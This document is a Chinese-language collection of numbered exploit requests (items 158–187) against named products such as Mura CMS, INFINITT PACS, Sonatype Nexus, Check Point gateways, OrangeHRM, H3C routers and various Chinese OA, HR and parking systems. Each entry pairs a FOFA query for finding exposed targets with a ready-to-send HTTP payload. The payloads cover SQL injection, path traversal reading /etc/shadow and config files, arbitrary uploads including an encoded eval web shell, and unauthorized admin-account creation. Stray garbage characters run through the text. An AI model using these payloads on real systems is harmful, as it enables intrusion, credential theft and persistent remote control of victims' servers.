( I8 j" V8 j' s8 Q$ g2 Yhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
5 O: G) ?* z8 Q0 o9 \8 F+ F& s
/ F( B( Q4 Y. J7 l0 p7 U& s" f' S158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
+ O, ~" ^. N; Z5 SFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
5 y6 B6 g; p) _: A5 J
7 Q! K7 N2 T( v) h8 [object=displayregion&contenthistid=x\'&previewid=1
, s- d* O1 J3 l' P4 B
, Y) o4 x; X) Q' c* g
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
2 X  P6 ]0 Y* E' ?( S; tPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
. U! G% b0 I6 x  Q( OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
* P2 {5 M  v; R! w- A1 O& ?Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
9 h- W% P, F9 f/ R3 C5 |; \; J0 c<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
8 X) E3 D" u' I5 }$ ?* g<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
+ m  {$ w2 S7 F' x</jobUpload>
</soap:Body>
( x/ {( K. s% o7 ?7 `& y- b& p</soap:Envelope>


: k% h' E8 m' K8 e/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

  n. E) l, j; i: h2 @- o' T8 S! J; _# }
160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
8 X% a9 H* W8 ?9 D' b1 T7 QGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
6 w7 N4 s$ i2 O, Z8 C5 A! jConnection: close
Accept: */*
3 `1 D  z) ]2 \3 r* [- W2 z% QAccept-Language: en
! Q0 P$ K. {+ ?! B' m1 w+ X4 n) ?Accept-Encoding: gzip
! X( d% Q0 w/ f& R9 u

161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
; ?. @/ C9 g. ~1 Z* C; x1 H# Q" J6 VFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
5 E% x- R: A+ c# u4 I- CPOST /Webservice.asmx HTTP/1.1
. q2 e; F" |0 s1 K! Q6 RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
8 S3 {6 A* a' ?Connection: close
6 G$ w5 V- k; P$ K0 U! PContent-Length: 445
7 q1 g; h8 [1 `/ CContent-Type: text/xml
: Q, N/ o: `( z& v: ?Accept-Encoding: gzip
5 d# d. `1 k1 u  f6 k
/ f6 i" P% G7 c7 E. Q; Q' I* I<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
! W9 ^( C7 |' Z  L8 u) T8 U" }http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
& s& s7 u5 S$ G0 E, v6 j) r# Mxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
! B, t8 E3 K; T+ J<UploadResume xmlns="http://tempuri.org/">
$ Y  C5 Y, N2 d3 a5 K<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
9 o2 x7 G+ T3 `/ b<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
  O- }, ?' H0 R- x3 ~7 N</UploadResume>
</soap:Body>
</soap:Envelope>
- t7 P. y; S1 m& w

http://x.x.x.x/dizxdell.aspx
5 Y& V  Z! h/ [7 }& ]& }
3 s) H. S5 `1 [$ \+ g162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
& l' w, ?+ o9 K8 M6 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
# `; R  `# }% B% ^, ?+ J* EConnection: close
2 L) |& b. @4 Y, \9 }Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
: S# h7 R4 W' K" S# V: p
" U$ t6 z- A5 y4 g" M; f. P/ w------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
$ ]! Y# n& c1 @1 g* R4 }; p------WebKitFormBoundaryeegvclmyurlotuey
5 W( `* [# m$ b- fContent-Disposition: form-data; name="action"
: g! Q! W- s  |, }
upload
3 L2 Z& P/ A. ]6 j, E------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

5 Q9 ~$ j4 h2 G! e* H4 g7 FResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
" ^4 r& k  R0 T' h: Z2 BContent-Disposition: form-data; name="remotePath"
' ^+ `1 ~  r3 v* |. y- R9 b' O/ J
/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--

0 @$ ?8 y) R# J7 \4 [  ]0 {
# O# y' Y/ b; B3 v2 ]- d* chttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
; I% U4 d$ h2 B% W9 ]( PFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
% O1 O7 F! v, `, \+ L6 ^& W4 aContent-Length: 293
, M" s' D/ D' A- }5 GAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
7 C& e) \) l9 k& X% ]9 T4 }! o0 O% ]Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
6 j# L0 b4 e* [/ `/ _
- Y2 p% y0 P; b) b% |+ q------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
: e! L5 {. g, w1 K; a' ^3 i
1.php
* M8 a! Q1 g" M3 [------iiqvnofupvhdyrcoqyuujyetjvqgocod
8 _  I7 A' {: j/ }! VContent-Disposition: form-data; name="upfile"; filename="1.php"
7 I* d# D' j# i5 Y9 tContent-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
$ P. q: ]& }' p- z: Y. t

; ~/ c( [. \* }164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
, P$ y( c5 ]2 x' CFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
8 D1 \" K4 S* {  L$ P% |( x, hHost: x.x.x.x
1 b( m% H/ ^5 ^0 `  \% Q- X, YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
. E/ N2 g9 i' m; l3 N8 f2 r* yContent-Length: 288
2 ?# v% H( y, @Accept: application/json, text/javascript, */*; q=0.01
! v& i  T3 z: \6 MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
! S  s# Z% i$ ~/ ~4 JConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
$ V) }; B9 j% ^) F& n, h* cX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
% M3 F" [; `* v/ Q# _, x  P
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
  h& @3 A  f6 R3 V; q4 q1 Z2 [5 DContent-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
8 c6 X! x8 K5 Y, b
- ?( T; q$ Q: _/ _165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
: e9 ~% H1 k. P5 t& }) l) ^FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


166. 中成科信票务管理平台SeatMapHandler SQL注入
2 `3 N$ k2 ]. U) S0 pFOFA：body="技术支持：北京中成科信科技发展有限公司"
  Y; Q+ j* d0 GPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
4 X0 ?: w0 J: hPragma: no-cache
. A' V4 N2 m6 yCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
: V8 @- [' z+ O) s$ ]" xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
& r4 U5 `# [" |; d$ ?4 ]  H1 QCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
' @4 c+ m9 [1 h& ?1 @Content-Length: 89

$ B$ B3 S' r" S+ yMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
  x! O8 t! P" Z6 @) O% B$ }+ _
! @$ W5 X+ d3 l7 m. z2 ~; n
' y1 a( \( z: c/ P; K' K167. 精益价值管理系统 DownLoad.aspx任意文件读取
( `5 p5 {8 h  F& FFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
8 k! M2 K8 l2 W. G; zGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
8 _; N: ]5 r3 N3 A( vHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
- b: b3 X& `2 z8 o) _+ t' p$ l  @Accept-Encoding: gzip, deflate
! e, J. w) [4 S) XAccept: */*
Connection: keep-alive
0 ~7 Q0 _) d8 y. M: N

5 f/ [: i6 O: O$ T+ g- X: R2 V% x168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
0 l1 N* k; r3 `  c) ]0 v! `+ u: fGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
- Y7 r5 l  u7 C$ y. BHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
: L( |5 O% A  ]( k9 C" NContent-Type: application/x-www-form-urlencoded
# `; _& J2 ~% L# m0 zConnection: close
+ ]( I7 N+ a" V7 W- i$ t$ w


0 [* H$ _( n+ h- {8 ?# T6 U169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
2 M) u  W/ v7 k5 lGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
7 F0 w- ^9 S$ @: R2 z0 x+ QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
) H, K, ]4 G' o6 a$ Z9 SAccept-Encoding: gzip, deflate
Connection: close
  F7 W, G; C6 u: ?( i


170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
) y9 ]! c; }  m- L0 X$ `, p' hHost: balalanengliang
3 e( f" ?7 X7 Z. J& jUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 O3 s; S6 N/ x7 {5 XContent-Type: application/x-www-form-urlencoded
" e" P6 L; ~- ]9 K
* B3 ]! S& k1 C6 Y1 cfilename=../webapps/ROOT/WEB-INF/web.xml

: Y1 K# A5 O9 D3 d  Q$ C. q, j
171. 通天星CMSV6车载定位监控平台 SQL注入
, p! r) c& m9 T1 p, w. WFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
/ g; n% }8 N# p1 h! N" gAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
7 `1 G% p. M0 `8 B. l


/ E- e7 l/ I+ D( J172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
) X( V; W" _. pHost: your-ip
, N) I+ C% J2 v9 p% T0 z/ h% mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' Y) |; X) ^1 Y: ^! MAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


# E# J0 e8 a/ \2 B; ^
173. Check Point 安全网关任意文件读取
CVE-2024-24919
" r5 s0 g) q3 A/ I2 W/ T- `3 c- eFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
1 Y0 o6 k! R( l% c. [) @Content-Type: application/x-www-form-urlencoded
  j3 y' z, S4 N
* [* Z& _) q, i7 B0 C' R0 C" L. faCSHELL/../../../../../../../etc/shadow

. t2 P/ U9 V! A$ o. T/ y

174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
) U2 X) B: d( r2 g4 z/ WGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
% m& }2 |- @+ {6 W* AHost: your-ip
4 {% x% i( ?& `! N: M; ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
& p0 U6 X6 K" Y; S% HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
1 i! k7 z# J& ~9 R0 q0 PAccept-Language: zh-CN,zh;q=0.9
, S* T) ]& s7 P9 d% mConnection: close
  z( [0 d; @7 B; p' F& a! K* ]

& D+ ]' B4 L+ s$ P0 b0 p7 j
9 E  E# J% Z) J) P* e6 U1 K$ f175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
! h7 U+ R8 B% ?  T, MFOFA：app="金和网络-金和OA"
4 f: ]) y5 v0 X( S8 Y! ~6 lGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
. @- r* \$ d9 O( a. EHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
7 b7 {2 e! I7 m. sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# U$ t8 F4 P' z" aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
8 ^% f0 q$ Q) `' I

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
# U: I; K. d" LPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
% R' f, Y& I$ p$ n  ~* @( m
% U5 J! {/ p' L7 Q* p% Z# j------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
1 m( K* F- x; ~( j------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
1 d; {6 E% k# g* b' g. _
% f3 }/ p4 q2 y4 @, `& T; s
) l0 @  p7 C% G/ D6 Z. Y! N------WebKitFormBoundaryOKldnDPT--

' y8 ^% {: Y% s$ X3 h! F" _! }+ ?

) P7 I. t( ]. u1 O177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
1 n4 h0 u' v% ^2 g5 [/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
( u) w) k! |8 [9 p: ]/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
$ o% X6 D' A! }3 F) I9 {' {/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
) D5 _* g6 V# G2 w/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
+ n( Z! c4 K/ P3 O2 T/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
* J: b0 g  l* S$ O" E9 L* |/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
. c1 F* U$ m$ @, V6 Y
) O3 s1 W( @( m$ a& j) z" @
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
. s* ~4 d% y% j3 u8 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! y0 S! ^  J+ Q& O" G- m4 OContent-Length: 252
Accept-Encoding: gzip, deflate
! v! o( m. K: x" g& N* ?9 x+ nConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
- k+ L! e9 t0 ]6 h( f, ~4 X- dContent-Type: application/octet-stream
1 [& j9 O" l- u' H8 H. ^Content-Length: 255

12234
-----------------aqutkea7vvanpqy3rh2l--

3 E7 W3 Q& F' R2 r4 U2 F
GET /imc/primepush/%2e%2e/flex/12234.txt
4 l! `# e6 G3 V+ P& |4 [
+ u! [" k7 |' N9 w! V; t
179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
; h6 ~2 }  L$ J/ ]* [: EHost: {{Hostname}}
, v  o; t: A6 U4 T+ e: eContent-Type: application/x-www-form-urlencoded
9 c$ Q( k% V# W. wUser-Agent: Mozilla/5.0
" c6 L# {; x" n* I; [
, Q  e7 |/ T1 s% Qpath=../log4net.config&Name=
" O1 u2 i) _1 J! _! }# E( j# a/ E
; s2 E( l1 ~6 a0 C
! \! v8 C5 {, f" o- c4 G180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
  i; t  ]3 b! ^4 d' tHost: your-ip
, p% M% @8 Y& [5 T: i0 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" j" d1 a/ D- @, yAccept-Encoding: gzip, deflate
' t0 }: U1 I# ZAccept-Language: zh-CN,zh;q=0.9
2 U$ _, T! h; G1 k$ b0 [Connection: close
3 e" I" N* a' H9 z& J$ P$ b
9 i7 f+ E, H% B) }. k
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
5 Y1 s2 S  o' p% u8 Y- HFOFA："PDCA/js/_publicCom.js"
1 u5 E2 P- a: J. j" E! F) P) q! xPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
! Q7 B1 X. o, r# e0 FHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ o, z- W& \' S! D0 b: h4 i8 EAccept-Encoding: gzip, deflate, br
; F) M! \/ [8 wAccept-Language: zh-CN,zh;q=0.9
Connection: close
4 R! m- Z0 T1 K2 EContent-Type: application/x-www-form-urlencoded

7 `8 M9 G, |; I; T9 F
* I; G8 K7 ~3 U0 A1 S6 [action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

. h& `* k( X3 `0 _& F. t* I( j
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
  H5 q; R( I, P1 |5 u3 q8 ~7 s9 KFOFA："PDCA/js/_publicCom.js"
4 ]) R7 l/ N1 S( r; k) ]- ?) K+ G, YPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
) b5 i5 ]" v" Q& h1 |9 ?+ LHost: your-ip
6 k6 a- y' Y" U8 ~: }- L9 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 h# ]9 e8 Y' [; P8 ~/ PAccept-Encoding: gzip, deflate, br
# q5 Q9 l7 p& q# u! KAccept-Language: zh-CN,zh;q=0.9
Connection: close
- E6 n& H9 x* v, d; V9 OContent-Type: application/x-www-form-urlencoded
/ j$ g; G5 S' W* }8 q2 r$ I
, S# \  n+ y9 a9 ?. O/ o0 \: m0 Y
" t8 u& p7 f2 E, yusername=test1234&pwd=test1234&savedays=1
2 T# {" w7 p! n8 U3 m/ H1 T, L5 S
  z5 T1 S. T5 o
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
9 @4 j  {9 ?9 F' r/ aFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
3 ?* T/ f2 y5 d& @% b! @& @9 ^User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
5 s4 T4 h; R$ J/ s; m( m8 j* TAccept-Charset: utf-8
# L4 B3 P) p8 \' mAccept-Encoding: gzip, deflate
Connection: close


184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
4 C+ s5 p1 V5 i9 t6 c7 P  GFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
& L8 i7 D0 Q- z, c0 EHost: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
. b+ @9 c; ?/ d4 |1 }5 L7 D
( d8 \) Z$ g0 T: A+ |' _
185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
) i9 _2 l: z% ^  J( d0 N* uGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
3 p9 Q% I7 [, K$ t; i  N2 bHost: host
( \0 G0 V5 S, x$ b  T
6 _) Z& `1 Y; R0 e1 }/ p6 X; m3 h6 X
186. F-logic DataCube3 SQL注入
CVE-2024-31750
; C7 N5 R' h6 h6 d, PF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
& ]) J7 W: ?& f& p' P, {; n1 lPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
0 v& c$ E6 i$ p4 v  _0 mHost: your-ip
# u# y4 @2 D! \3 R2 F! H( ?" NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. j; a9 U) G8 e0 Z8 lAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
9 I1 S, N6 V6 }
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

2 D( C7 m. _8 d) k# B- X
$ R' k3 l; z: W; [187. Mura CMS processAsyncObject SQL注入
